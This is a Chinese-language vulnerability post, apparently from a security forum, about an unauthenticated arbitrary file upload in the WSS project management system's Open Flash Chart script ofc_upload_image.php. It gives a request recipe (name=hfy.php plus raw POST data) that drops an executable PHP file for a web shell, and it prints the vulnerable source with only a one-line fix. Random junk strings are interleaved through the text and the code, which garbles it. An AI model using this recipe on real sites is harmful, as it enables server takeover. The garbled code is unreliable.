WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
" h( f3 L8 ?/ `. c0 g
利用：
4 Z5 G) x1 k2 j. r# f8 o/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

* F8 F; `" S) `$ @* a; QPost任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php


最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php
9 j/ B3 [! T' P. f+ |) {' t, M$ g
4 o3 I( t) ?, f) @5 ]: U//
// In Open Flash Chart -> save_image debug mode, you
+ X' a! I) J& A# v- H// will see the 'echo' text in a new window.
; \- f3 w- I; }3 H) o//
0 K2 i8 n! V$ y3 I' ^" O+ K/ G* _
: ?. @9 `4 r( u0 O, K/*

print_r( $_GET );
print_r( $_POST );
  G2 c) l" B) S- Y- Zprint_r( $_FILES );
* \& }* _/ B4 A
print_r( $GLOBALS );
5 l: ?- k6 w5 `- `7 H7 v" T0 Z) zprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
3 S. i9 g. v7 U$ n4 ?" ]
' l$ ^8 b, O. b. e" d' J, k* U*/
# G$ u* J. y! d, N% ]( l// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
8 j! H& a. C$ J' J; t- g* v8 S
7 ~+ }4 b5 h+ q// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
  i- ^7 ]. s) Y
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
  z/ a) e1 k* P// echo $HTTP_RAW_POST_DATA;
& l. N& R' c8 d1 p0 E6 Y
//
// POST data is usually string data, but we are passing a RAW .png
) ~5 o7 g: s! \# j2 [% ^$ ~5 m* v// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
# D) {. x  V7 ~7 T  `//

$jfh = fopen($destination, 'w') or die("can't open file");
4 e+ K6 A5 o3 a% ]* G6 dfwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

//
7 p0 q) h* {3 `! l, a' {5 a6 a// LOOK:
9 F  U. ?8 g3 e//
exit();
//
// PHP5:
//
' X6 }7 {- |3 X, }: `+ c

' v5 m5 N2 \3 s. k9 C8 q5 T; Y// default path for the image to be stored //
; O8 l/ w7 i6 Z6 C" i3 B$default_path = 'tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
( x7 r# O) U: L$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
! v/ h. D: D# M$ O} else {
    echo "FILE UPLOAD FAILED";
8 r7 V! b* x) d9 e}
) R6 Y% n3 d. F, j

?>

) f: u( V3 N1 w' x5 W2 e
7 }0 g$ D( t1 a4 e, {
6 i% _' a1 s. [1 V
6 |6 R$ @# Z5 H" H  o' e4 I
' {- i3 r+ ?2 i! y2 \& q) o
修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
- ~/ e; V8 M9 B) l( H" N2 Z
* U3 n2 Y# y* @
' C! t! I9 ]0 e# a2 U
2 \' j0 b; @7 D